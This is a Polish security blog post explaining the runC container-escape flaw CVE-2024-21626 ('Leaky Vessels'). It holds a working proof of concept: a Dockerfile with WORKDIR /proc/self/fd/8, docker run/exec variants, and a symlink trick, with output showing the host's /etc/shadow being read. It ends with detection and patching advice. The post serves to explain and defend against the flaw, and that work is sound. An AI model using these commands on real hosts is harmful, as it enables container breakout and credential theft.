Nieszczelne naczynka w Dockerze

nfsec.pl 3 miesięcy temu

P

rzesiąkanie płynu z małych naczyń krwionośnych do otaczających tkanek wymaga natychmiastowego leczenia, aby zapobiec spadkowi ciśnienia krwi i innym poważnym powikłaniom. Identycznie jest w przypadku zespołu podatności o nazwie Leaky Vessels, które wykryto w środowisku wykonawczym kontenerów, w szczególności runC (CVE-2024-21626) oraz w BuildKit (CVE-2024-23651, CVE-2024-23652 i CVE-2024-23653) używanym przez takie projekty jak: Docker, Kubernetes i inne platformy konteneryzacji. Luki te umożliwiają ucieczkę z kontenera, a osobie atakującej, która posiada dostęp do takiego kontenera, wykonanie dowolnego kodu na maszynie hosta, narażając w ten sposób cały system.

Najbardziej krytyczną podatnością jest ta znaleziona w runC, ponieważ umożliwia nieupoważnionej osobie uzyskanie dostępu do systemu plików systemu operacyjnego hosta, uzyskując w ten sposób uprzywilejowaną kontrolę nad serwerem hostującym kontener. Wykorzystując tę lukę, osoba atakująca może przeprowadzić włamanie np. do bazowego węzła Kubernetes podczas wdrażania podów lub wydostać się z platform do budowy systemu opartych na środowiskach kontenerowych. Od strony technicznej wygląda to tak, iż runC jest podatny na atak polegający na wycieku deskryptora pliku (ang. File Descriptor Leak) i późniejszym wykorzystaniu techniki Path Traversal w celu dostępu do wrażliwych danych. Możliwe jest to dzięki słabej kontroli dostarczanych ścieżek systemowych kontenerowi, które można powiązać z innymi katalogami już w systemie hosta – umożliwiając tym samym dostęp do innych zasobów w systemie uruchamiającym kontener.

Przyczyną tej luki jest sposób, w jaki program runC przetwarza dyrektywę WORKDIR w pliku Dockerfile lub z linii poleceń. Podczas określania początkowego katalogu roboczego dla procesów utworzonych podczas operacji budowy (docker build) lub uruchomienia (docker run) runC zmienia katalog dzięki wywołania systemowego rchdir przed zamknięciem niektórych deskryptorów plików katalogów z uprzywilejowanego hosta. To przeoczenie umożliwia atakującemu manipulowanie dyrektywą WORKDIR poprzez wskazanie uprzywilejowanego deskryptora plików w ścieżce /proc/self/fd/. W rezultacie, choćby gdy runC zamknie deskryptor pliku podczas normalnych operacji, pozostanie on dostępny, ułatwiając nieautoryzowany dostęp do wrażliwych plików hosta i tworzenie dowolnych plików w systemie. Dlatego jeżeli ustawimy katalog roboczy na ścieżkę: /proc/self/fd/7 (lub 8 lub 9) możemy spowodować, iż runC ustawi bieżący katalog roboczy na /sys/fs/cgroup, ale na hoście! PID 1 w kontenerze będzie miał wtedy katalog roboczy nie w przestrzeni nazw systemu plików kontenera, ale hosta! Dalsze wykorzystanie tej przypadłości i przejęcie maszyny hostującej kontener zależy od inwencji twórczej atakującego – może na przykład dodać swój klucz SSH, zestawić tunnel lub dodać złośliwy mechanizm stałego dostępu do daemona crontab itd. W dodatku jeżeli proces kontenera uruchamiany jest z prawami administratora (UID 0) i nie ma mapowania na przestrzeń nazw użytkownika – atakujący może wykonać te wszystkie czynności jako administrator i całkowicie przejąć maszynę.

Przykład wykorzystania tej luki zostanie zademonstrowany na systemie Ubuntu 22.04 LTS z pakietem runc w wersji 1.1.7-0ubuntu1~22.04.1. W pierwszej wersji stworzymy “szkodliwy” plik Dockerfile, który zbuduje nam testowy obraz oraz uruchomi kontener umożliwiając ucieczkę:

FROM ubuntu WORKDIR /proc/self/fd/8

Na jego podstawie zbudujemy obraz o nazwie cve-2024-21626 i specjalnie uruchomimy w systemie z prawami administratora:

root@darkstar:~# cat /etc/shadow | grep agresor agresor:$6$kyR06JGLRrfXVIxd$C...ge3ER6ncBtWaYj/K5kaPeP0:19303:0:99999:7::: root@darkstar:~# docker build -t cve-2024-21626 . Sending build context to Docker daemon 42.9MB Step 1/2 : FROM ubuntu ---> fd1d8f58e8ae Step 2/2 : WORKDIR /proc/self/fd/8 ---> Using cache ---> 28df49bdd0c0 Successfully built 28df49bdd0c0 Successfully tagged cve-2024-21626:latest root@darkstar:~# docker run --rm -ti cve-2024-21626 shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory root@0aecacc91139:.# pwd pwd: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory root@0aecacc91139:.# ls -F job-working-directory: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory cgroup.controllers cgroup.procs cgroup.threads cgroup.max.depth cgroup.stat cpu.pressure cgroup.max.descendants cgroup.subtree_control cpu.stat root@0aecacc91139:.# ls ../../../../ job-working-directory: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory bin boot dev etc home lib lib32 lib64 libx32 lost+found media mnt opt proc root run sbin snap srv swap.img sys tmp usr var root@0aecacc91139:.# cat ../../../../etc/shadow | grep agresor job-working-directory: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory agresor:$6$kyR06JGLRrfXVIxd$C...ge3ER6ncBtWaYj/K5kaPeP0:19303:0:99999:7:::

Podczas pierwszych testów, gdy na początku został użyty FD o numerze 7 dopiero za szóstym razem udało się uruchomić kontener – poprzednie próby kończyły się zawsze błędem:

root@darkstar:~# docker run --rm -ti cve-2024-21626 docker: Error response from daemon: failed to create task for container: failed to create shim task: OCI runtime create failed: runc create failed: unable to start container process: error during container init: mkdir /proc/self/fd/7: no such file or directory: unknown.

Dlatego warto iterować po różnych deskryptorach plików przy kolejnych próbach. Innym sposobem bez użycia pliku Dockerfile jest wykorzystanie linii poleceń i parametru –workdir:

root@darkstar:~# docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it ubuntu:jammy Unable to find image 'ubuntu:jammy' locally jammy: Pulling from library/ubuntu Digest: sha256:e9569c25505f33ff72e88b2990887c9dcf230f23259da296eb814fc2b41af999 Status: Downloaded newer image for ubuntu:jammy shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory root@108d09a270c9:.#

Możemy też wykorzystać już uruchomiony kontener:

root@darkstar:~# docker run --rm -d ubuntu:jammy sleep infinity f04b3f760293fc11c2f485c9fb234a3dc5d63912bb950ce8a5ad50956bd0ef3d root@darkstar:~# docker ps -a CONTAINER ID IMAGE COMMAND CREATED STATUS f04b3f760293 ubuntu:jammy "sleep infinity" 17 seconds ago Up 12 seconds root@darkstar:~# docker exec -it -w /proc/self/fd/8 f04b3f760293 /bin/bash shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory root@f04b3f760293:.#

W celu ukrycia naszej aktywności istnieje również możliwość uruchomienia kontenera, w którym stworzymy dowiązania symboliczne do odpowiednich deskryptorów plików, następnie dzięki polecenia docker exec w osobnej konsoli ustawimy katalog roboczy na stworzony symlink uzyskując tym samym dostęp do systemu plików maszyny poprzez ścieżkę /proc/$PID/cwd, gdzie $PID oznacza ID procesu wygenerowanego przez polecenie: docker exec.

// konsola #1: root@darkstar:~# docker run --name cve-2024-21626 --rm -it ubuntu:jammy root@f879a28ed60d:/# ln -sf /proc/self/fd/7 /lucky_seven root@f879a28ed60d:/# ln -sf /proc/self/fd/8 /black_eight // konsola #2: root@darkstar:~# docker exec -it -w /black_eight cve-2024-21626 sleep infinity // konsola #1: root@f879a28ed60d:/# cat /proc/11/cmdline sleepinfinity root@f879a28ed60d:/# ls -al /proc/11/cwd/../../../../etc/shadow -rw-r----- 1 root shadow 1086 Nov 22 19:12 /proc/11/cwd/../../../../etc/shadow root@f879a28ed60d:/# grep agresor /proc/11/cwd/../../../../etc/shadow agresor:$6$kyR06JGLRrfXVIxd$C...ge3ER6ncBtWaYj/K5kaPeP0:19303:0:99999:7:::

Jak widzimy atak bazuje zawsze na wykorzystaniu katalogu roboczego w formacie: /proc/self/fd/[0-9]+ podczas tworzenia kontenerów lub uruchamiania nowych procesów w kontenerze, co może ułatwić detekcję takiego zachowania. Jednak należy pamiętać, iż może ono zostać również zamaskowane poprzez różne inne polecenia dlatego najlepszym rozwiązaniem jest po prostu załatanie runC do wersji 1.1.12 lub wersji o odpowiednim numerze łatki np. 1.1.7-0ubuntu1~22.04.2. Najwięksi dostawcy chmurowi oraz dystrybucje linuksowe wydały już własne porady i biuletyny bezpieczeństwa dotyczące zalecanych działań w tym temacie, których powinniśmy przestrzegać.

Więcej informacji: Leaky Vessels: Docker and runc container breakout vulnerabilities, Leaky Vessels: runC and BuildKit container escape vulnerabilities – everything you need to know, runc working directory breakout (CVE-2024-21626), Illustrate runC Escape Vulnerability CVE-2024-21626

Idź do oryginalnego materiału